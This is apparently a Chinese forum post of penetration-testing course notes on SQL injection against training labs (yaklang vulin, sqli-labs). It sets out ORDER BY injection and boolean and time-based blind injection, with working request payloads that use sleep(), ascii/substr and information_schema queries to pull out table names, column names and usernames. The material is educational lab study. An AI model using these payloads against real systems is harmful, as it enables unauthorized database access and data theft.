发帖
 找回密码
 立即注册
搜索
0 0

分享 16-order by 布尔时间盲注

技术分享 1131 0 2025-4-13 17:02:01
源码-https://github.com/yaklang/yakla ... ulinbox/vul_sqli.go
sqlit注入总结-https://blog.csdn.net/2201_75824562/article/details/139362754
sql注入思路-先判断那里可以sql注入点-在判断闭合与注入方式-SQL语句获取相关信息

sql-13
  ORDER注入:单个条件排序位于 LIMIT 之前
   
   原语句
    "select * from vulin_users where (username LIKE '%a%') ORDER BY username desc LIMIT 5;"
   攻击示例语句
      GET /user/limit/4/order1?order={{urlenc(desc --)}}&debug=1 HTTP/1.1
       http://192.168.3.2:8787/user/limit/4/order1?order=desc --&debug=1   

     如果查询语句在前端界面显示不出来如何判断是否存在注入点
       GET /user/limit/4/order1?order={{urlenc(desc;select 1,2,3,4,5,6)}}&debug=1 HTTP/1.1
     可以用sleep()操作看看响应是否有延迟效果
       GET /user/limit/4/order1?order={{urlenc(desc;select sleep(10) --)}}&debug=1 HTTP/1.1
       http://192.168.3.2:8787/user/limit/4/order1?order=desc;select sleep(6) --&debug=1
     工具后期介绍可以跑出来
       group_concat(tbl_name)-这个函数能把括号里地数据全部拼接展示出来
       type='table'  -相当于split重要库表
       GET /user/limit/4/order1?order={{urlenc(desc;select group_concat(tbl_name) from sqlite_master where type='table' --)}}&debug=1 HTTP/1.1

sql-14
  ORDER注入:多条件排序位于 LIMIT 之前

   原语句
        "select * from vulin_users where (username LIKE '%a%') ORDER BY username desc, created_at LIMIT 5;"
   攻击示例语句
        GET /user/limit/4/order2?order={{urlenc(desc;select sleep(5)--)}}&debug=1 HTTP/1.1
sql-15
    注入:多条件排序位(无LIMIT)

     原语句
         "select * from vulin_users where (username LIKE '%a%') ORDER BY created_at desc, username desc;"
     攻击示例语句
          GET /user/order3?order={{urlenc(desc;select sleep(5))}} HTTP/1.1
sql-16
   ORDERBY 注入:多字段

     原语句
          "select * from vulin_users where (username LIKE '%a%') ORDER BY username desc LIMIT 5;"
     攻击示例语句
          GET /user/limit/4/orderby?orderby={{urlenc(username;select * from vulin_users --)}}&debug=1 HTTP/1.1
sql-17
    ORDER BY注入:反引号+排序

     原语句
         "select * from vulin_users where (username LIKE '%a%') ORDER BY `id` desc LIMIT 5;"
     攻击示例语句
         GET /user/limit/4/orderby1?orderby={{urlenc(id`;select sleep(5) --)}}&debug=1 HTTP/1.1
sql-18
     ORDER BY 注入:反引号+多字段

      原语句
          "select * from vulin_users where (username LIKE '%a%') ORDER BY `id`,created_at LIMIT 5;"
      攻击示例语句
          GET /user/limit/4/orderby2?orderby={{urlenc(id`;select sleep(5) --)}}&debug=1 HTTP/1.1
sql-19
    时间盲注

     原语句
   
     攻击示例语句-布尔盲注
          GET /Less-8/?id=1' and length(database())=8 --+ HTTP/1.1  判断数据库长度
          GET /Less-8/?id=1' and ascii(substr(database(),{{int(1-10)}},1))={{int(27-126)}} --+ HTTP/1.1
          GET /Less-8/?id=1' and ascii(substr(database(),1,1))>200 --+ HTTP/1.1
          GET /Less-8/?id=1' and ascii(substr(database(),1,1))={{int(27-126)}} --+ HTTP/1.1
          GET /Less-8/?id=1' and ascii(substr(database(),2,1))={{int(27-126)}} --+ HTTP/1.1
    攻击示例语句-时间盲注
            GET /Less-10/?id=1" and sleep(5) --+ HTTP/1.1
            
            if(1,2,3) 1:条件 2:满⾜条件⼲嘛 3:不满⾜⼲嘛
            count() 返回指定内容的个数
            and if((select count(table_name) from information_schema.tables where
            table_schema=database())=5,sleep(5),3) --+
            语句里得3相当于占位符啥也不做

盲注
   什么是盲注:有时⽬标存在注⼊,但在⻚⾯上没有任何回显,此时,我们需要利⽤⼀些⽅法进⾏判断或者尝试得
   到数据,这个过程称之为盲注
盲注分类
   布尔盲注 8
       布尔很明显True和false,它只会根据你的注⼊信息返回True和False,也就没有了之前的报错信息
        前端界面对啦就展示不对就啥也不展示
   时间盲注 5
       界⾯返回值只有⼀种True,⽆论输⼊任何值,返回情况都会按照正常来处理。加⼊特定的时间函数,通过查
      看web⻚⾯返回的时间差来判断注⼊的语句是否正确
  Ascii()
  subst()
  select ascii(substr(database(),1,1))
  select length(database())-判断数据库名长度

布尔盲注流程
    判断注⼊点
    判断闭合
    判断⻓度
    猜解库名、表名、列名、具体数据

时间盲注
    延时盲注其实和布尔盲注其实没有什么太⼤的区别,只不过是⼀个依靠⻚⾯是否正常判断,⼀个是否延时判断,在
    操作上其实也差不多,只不过延时多⼀个if()


4-确认表名⻓度(时间盲注不需要知道数据库名)
格式:and if(length(查询语句)=表名⻓度,sleep(5),3) --+eee
第⼀个表⻓度:limit 0,1
and if(length((select table_name from information_schema.tables where
table_schema=database() limit 0,1))=6,sleep(5),3)--+eee
第⼆个表⻓度:limit 1,1
and if(length((select table_name from information_schema.tables where
table_schema=database() limit 1,1))=6,sleep(5),3)--+eee

5-确认表名
格式:and if(ascii(substr((查询语句 limit 1,1),1,1))=编码值,sleep(5),22)
and if (ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))=101,sleep(5),3) --+eee

6-确认列名
and if (ascii(substr((select column_name from information_schema.columns where
table_name='users' limit 0,1),1,1))=105,sleep(5),3) --+eee

7-确认数据内容
?id=1' and if (ascii(substr((select username from users limit 0,1),1,1))>1,sleep(5),3)--+



WEB渗透测试工程师系统班250303
15节课作业
1. 实际操作课堂讲解的yakit sql注入靶场,截图
2. 布尔盲注的原理是什么
        布尔很明显True和false,它只会根据你的注⼊信息返回True和False,也就没有了之前的报错信息
3. 时间盲注的原理是什么
        界⾯返回值只有⼀种True,⽆论输⼊任何值,返回情况都会按照正常来处理。加⼊特定的时间函数,通过查
        看web⻚⾯返回的时间差来判断注⼊的语句是否正确



──── 0人觉得很赞 ────

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回